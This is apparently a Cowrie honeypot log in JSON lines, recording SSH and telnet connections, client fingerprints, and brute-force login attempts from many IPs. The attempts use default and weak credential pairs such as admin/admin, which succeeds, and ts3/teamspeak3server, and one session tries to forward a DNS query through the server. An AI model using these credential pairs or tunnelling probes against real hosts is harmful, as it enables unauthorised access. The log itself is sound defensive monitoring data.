{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:38:1a:3a:7a:16:d6:18:dd:2a:be:a9:df:ee:4e:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu8A2XgPoWIH/zKTP7UdLxm6nwWCXBqUYMcHzpKbYSSs9tJJ1MG/+oUcWYxYUfkOuQIbE+CBlgmwjkYCUNxJwLlMRt9Eg/fVgqRPJ1CLRfS9IO1TzfUT9hSxdT3CTsCbLhoA5BdcvXkd4Z6pGhKq8YsFGI9qI9SqRmBStVTuPcBDd3z094aZsYOgRXXU/CP0OIBbRF40/K3Hn1+8aY4NUVf5vNKNhWLsc32xRnviXseesu/2s3UFcSjHhGXYaPaD3LI/Ukx13dbZSMvIkcV82nUA2NmwGUASxWqkhM5WS7EpMvIpb6vOn9XcVzSEYoyf5OHKRVfKEgyoR3qEfk1Py/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.147961Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:7b:c7:d8:14:fd:3d:83:2c:a8:3a:3c:2f:b0:84:7d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMg8GOpEFNcc/DdhrZIg1AAhaLJPZruVi+bK+H7WOWz0SzP2XejytqkCMeogi2IuWhJ2nxQYgLtWj5z/ceKtY7aZtM0IpLvow8XJ5HEjWk8rn6L18gmvceoQLKGm6iLZwXVX2A7Po3+IW8a5jb2GH0ZBpImoud7f1l4DAwLKBlp5AAAAFQDFZcz9wqamYMM+34BgPexsDrw6FQAAAIEAnk0X1rkfrN77acgo0cIaFh705PA6gg61zOgQH03Y0s189LoEu5iskOeGRa886Hg1UTnI7kUnedN/FdBnEWYbl1/WXWenXwIuGvk4jzauFQ0HV9N2fWCAlMc8RaIoMuIqX5cqW1ctZ2pNvgB+/+2R/yyDPLdDSbZ9SGsah7bogpIAAACAZbaEmj7VgRLA3QyzqJ7/6phHLv0PgaUatFgeMKxkPwcYoor5iNsbM6B5M6Cirx8ag8aKKfFFLpWGcr3c4qATU8UAugBWzVbsBz6cniK66b+cKc3n3+aDSkR5ftErc6L3z6Qtx9FhFQeXT9GDlh1PIA8qmsx3jtlHir3xhc+oFsI=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8f:7b:c7:d8:14:fd:3d:83:2c:a8:3a:3c:2f:b0:84:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.263458Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:7b:c7:d8:14:fd:3d:83:2c:a8:3a:3c:2f:b0:84:7d","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMg8GOpEFNcc/DdhrZIg1AAhaLJPZruVi+bK+H7WOWz0SzP2XejytqkCMeogi2IuWhJ2nxQYgLtWj5z/ceKtY7aZtM0IpLvow8XJ5HEjWk8rn6L18gmvceoQLKGm6iLZwXVX2A7Po3+IW8a5jb2GH0ZBpImoud7f1l4DAwLKBlp5AAAAFQDFZcz9wqamYMM+34BgPexsDrw6FQAAAIEAnk0X1rkfrN77acgo0cIaFh705PA6gg61zOgQH03Y0s189LoEu5iskOeGRa886Hg1UTnI7kUnedN/FdBnEWYbl1/WXWenXwIuGvk4jzauFQ0HV9N2fWCAlMc8RaIoMuIqX5cqW1ctZ2pNvgB+/+2R/yyDPLdDSbZ9SGsah7bogpIAAACAZbaEmj7VgRLA3QyzqJ7/6phHLv0PgaUatFgeMKxkPwcYoor5iNsbM6B5M6Cirx8ag8aKKfFFLpWGcr3c4qATU8UAugBWzVbsBz6cniK66b+cKc3n3+aDSkR5ftErc6L3z6Qtx9FhFQeXT9GDlh1PIA8qmsx3jtlHir3xhc+oFsI=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.267748Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:03.382362Z","src_ip":"170.238.136.42","session":"e11a9b2d5a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":46376,"dst_ip":"10.17.0.5","dst_port":22,"session":"02f765acf367","protocol":"ssh","message":"New connection: 187.212.47.18:46376 (10.17.0.5:22) [session: 02f765acf367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:13.526947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:13.531910Z","src_ip":"187.212.47.18","session":"02f765acf367","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:13.786625Z","src_ip":"187.212.47.18","session":"02f765acf367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"P@$$w0rd","message":"login attempt [deploy/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:14.119950Z","src_ip":"187.212.47.18","session":"02f765acf367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:15.199335Z","src_ip":"187.212.47.18","session":"02f765acf367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18322,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c27f38f3841","protocol":"ssh","message":"New connection: 194.59.206.2:18322 (159.203.135.109:22) [session: 1c27f38f3841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:15.483025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:15.487906Z","src_ip":"194.59.206.2","session":"1c27f38f3841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:15.574410Z","src_ip":"194.59.206.2","session":"1c27f38f3841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:15.666156Z","src_ip":"194.59.206.2","session":"1c27f38f3841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":10580,"dst_ip":"10.17.0.5","dst_port":22,"session":"aac4b9b862a2","protocol":"ssh","message":"New connection: 87.251.64.176:10580 (10.17.0.5:22) [session: aac4b9b862a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:18.498478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:18.503585Z","src_ip":"87.251.64.176","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:18.601256Z","src_ip":"87.251.64.176","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:18.899909Z","src_ip":"87.251.64.176","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:19.000437Z","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:19.099008Z","src_ip":"87.251.64.176","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:19.334818Z","src_ip":"87.251.64.176","session":"aac4b9b862a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.83532381057739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:22:20.385356Z","src_ip":"135.148.33.91","session":"d2fba8b50306","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":40262,"dst_ip":"10.17.0.5","dst_port":22,"session":"09b7e452ebc3","protocol":"ssh","message":"New connection: 154.81.14.172:40262 (10.17.0.5:22) [session: 09b7e452ebc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:12.372127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:12.376841Z","src_ip":"154.81.14.172","session":"09b7e452ebc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:13.468908Z","src_ip":"154.81.14.172","session":"09b7e452ebc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"teamspeak3server","message":"login attempt [ts3/teamspeak3server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:14.116087Z","src_ip":"154.81.14.172","session":"09b7e452ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:15.335559Z","src_ip":"154.81.14.172","session":"09b7e452ebc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.231","src_port":51354,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf17e0059388","protocol":"ssh","message":"New connection: 14.103.114.231:51354 (10.17.0.5:22) [session: cf17e0059388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:42.922554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:42.928758Z","src_ip":"14.103.114.231","session":"cf17e0059388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:23:43.144612Z","src_ip":"14.103.114.231","session":"cf17e0059388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":56926,"dst_ip":"10.17.0.5","dst_port":22,"session":"403f81d71c16","protocol":"ssh","message":"New connection: 154.81.14.172:56926 (10.17.0.5:22) [session: 403f81d71c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:24:42.060408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:24:42.065539Z","src_ip":"154.81.14.172","session":"403f81d71c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:24:42.279224Z","src_ip":"154.81.14.172","session":"403f81d71c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"prueba","message":"login attempt [test/prueba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:24:43.709368Z","src_ip":"154.81.14.172","session":"403f81d71c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:24:44.927011Z","src_ip":"154.81.14.172","session":"403f81d71c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.103.211","src_port":47218,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ac4fe03e48","protocol":"ssh","message":"New connection: 14.103.103.211:47218 (10.17.0.5:22) [session: 90ac4fe03e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:02.792410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:02.809949Z","src_ip":"14.103.103.211","session":"90ac4fe03e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:03.054460Z","src_ip":"14.103.103.211","session":"90ac4fe03e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw9rd","message":"login attempt [admin/P@ssw9rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:25:04.023031Z","src_ip":"14.103.103.211","session":"90ac4fe03e48","protocol":"ssh"}
